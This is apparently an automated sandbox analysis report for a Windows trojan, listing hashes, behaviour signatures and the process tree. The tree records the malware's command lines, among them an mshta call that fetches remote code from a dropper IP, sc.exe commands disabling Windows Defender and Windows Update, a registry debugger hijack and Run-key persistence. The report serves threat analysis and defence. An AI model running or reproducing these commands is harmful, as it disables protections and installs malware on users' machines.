Overview

overview

10

Static

static

23566c8b03...7b.exe

windows7-x64

23566c8b03...7b.exe

windows10-2004-x64

Analysis

  • max time kernel
    25s
  • max time network
    31s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 11:48

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    23566c8b038c86981e564cf23b1fd24237e240915585b5b8bee87dae2637297b.exe

  • Size

    994KB

  • MD5

    a73ec3d65be528a71247008bf397a1f6

  • SHA1

    a55014b9fd07bf3881f1dc93c4b8831530d6c7eb

  • SHA256

    23566c8b038c86981e564cf23b1fd24237e240915585b5b8bee87dae2637297b

  • SHA512

    7b7ffecc838d6eb4d4ad4796bed8896c26ff1aceb0e013a8efb4426869447805962e25c565fc93a36d71365b45c5de4088dec7a84312919c185c11ad7a98d6c3

  • SSDEEP

    24576:913YdJbexXzPi7mx5d0KEWvWaJqNE1/28uZqLz:913WJOXzPzdHEjaJqNEFFuZqLz

Score
10/10
evasionpersistencetrojan

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://84.22.42.134/?0=7&1=0&2=40&3=i&4=9200&5=1&6=0000&7=lhytdiaxyo

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Sets file execution options in registry 2 TTPs 22 IoCs
    persistence
  • Sets service image path in registry 2 TTPs 2 IoCs
    persistence
  • Stops running service(s) 3 TTPs
    evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 60 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • System policy modification 1 TTPs 5 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\23566c8b038c86981e564cf23b1fd24237e240915585b5b8bee87dae2637297b.exe
    "C:\Users\Admin\AppData\Local\Temp\23566c8b038c86981e564cf23b1fd24237e240915585b5b8bee87dae2637297b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:388
    • C:\Users\Admin\AppData\Roaming\svc-pxjd.exe
      C:\Users\Admin\AppData\Roaming\svc-pxjd.exe
      2⤵
      • UAC bypass
      • Executes dropped EXE
      • Sets file execution options in registry
      • Sets service image path in registry
      • Checks whether UAC is enabled
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:5060
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE StoP bckwfs
        3⤵
        • Launches sc.exe
        PID:2456
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE COnfiG bckwfs start= DisabLed
        3⤵
        • Launches sc.exe
        PID:1944
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE StoP wuauserv
        3⤵
        • Launches sc.exe
        PID:936
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://84.22.42.134/?0=7&1=0&2=40&3=i&4=9200&5=1&6=0000&7=lhytdiaxyo"
        3⤵
        • Blocklisted process makes network request
        PID:2292
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE COnfiG wuauserv start= DisabLed
        3⤵
        • Launches sc.exe
        PID:2888
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE COnfiG luafv start= DisabLed
        3⤵
        • Launches sc.exe
        PID:308
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE COnfiG wscsvc start= DisabLed
        3⤵
        • Launches sc.exe
        PID:3492
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE COnfiG windefend start= DisabLed
        3⤵
        • Launches sc.exe
        PID:3956
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE COnfiG MsMpSvc START= DisabLed
        3⤵
        • Launches sc.exe
        PID:5032
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCUI.exe" /v "dEbUGgEr" /t REG_SZ /d "\"wdn.ssd\" /z " /f
        3⤵
        • Sets file execution options in registry
        PID:2160
      • C:\Windows\SysWOW64\SC.ExE
        SC.ExE StoP wscsvc
        3⤵
        • Launches sc.exe
        PID:404
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\rUN" /v "MSmpeNG" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svc-pxjd.exe" /f
        3⤵
        • Adds Run key to start application
        PID:2576
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\rUN" /v "MSmpeNG" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svc-pxjd.exe" /f
        3⤵
        • Adds Run key to start application
        PID:3392
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\23566C~1.EXE" >> NUL
      2⤵
        PID:5040
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x4 /state0:0xa39f4855 /state1:0x41c64e6d
      1⤵
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:3976
    • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
      "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
      1⤵
      • Modifies data under HKEY_USERS
      PID:2352

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\svc-pxjd.exe
      Filesize

      994KB

      MD5

      a73ec3d65be528a71247008bf397a1f6

      SHA1

      a55014b9fd07bf3881f1dc93c4b8831530d6c7eb

      SHA256

      23566c8b038c86981e564cf23b1fd24237e240915585b5b8bee87dae2637297b

      SHA512

      7b7ffecc838d6eb4d4ad4796bed8896c26ff1aceb0e013a8efb4426869447805962e25c565fc93a36d71365b45c5de4088dec7a84312919c185c11ad7a98d6c3

      Download Submit

    • C:\Users\Admin\AppData\Roaming\svc-pxjd.exe
      Filesize

      994KB

      MD5

      a73ec3d65be528a71247008bf397a1f6

      SHA1

      a55014b9fd07bf3881f1dc93c4b8831530d6c7eb

      SHA256

      23566c8b038c86981e564cf23b1fd24237e240915585b5b8bee87dae2637297b

      SHA512

      7b7ffecc838d6eb4d4ad4796bed8896c26ff1aceb0e013a8efb4426869447805962e25c565fc93a36d71365b45c5de4088dec7a84312919c185c11ad7a98d6c3

      Download Submit

    • memory/388-133-0x0000000002360000-0x00000000023BF000-memory.dmp

      Filesize

      380KB

      Download

    • memory/388-134-0x0000000003460000-0x0000000003560000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/388-141-0x0000000002360000-0x00000000023BF000-memory.dmp

      Filesize

      380KB

      Download

    • memory/388-132-0x0000000000400000-0x0000000000561000-memory.dmp

      Filesize

      1.4MB

      Download

    • memory/388-139-0x0000000000400000-0x0000000000561000-memory.dmp

      Filesize

      1.4MB

      Download

    • memory/5060-149-0x0000000003320000-0x0000000003420000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/5060-146-0x0000000000400000-0x0000000000561000-memory.dmp

      Filesize

      1.4MB

      Download

    • memory/5060-147-0x0000000002210000-0x000000000226F000-memory.dmp

      Filesize

      380KB

      Download

    • memory/5060-157-0x0000000000400000-0x0000000000561000-memory.dmp

      Filesize

      1.4MB

      Download

    • memory/5060-158-0x0000000002210000-0x000000000226F000-memory.dmp

      Filesize

      380KB

      Download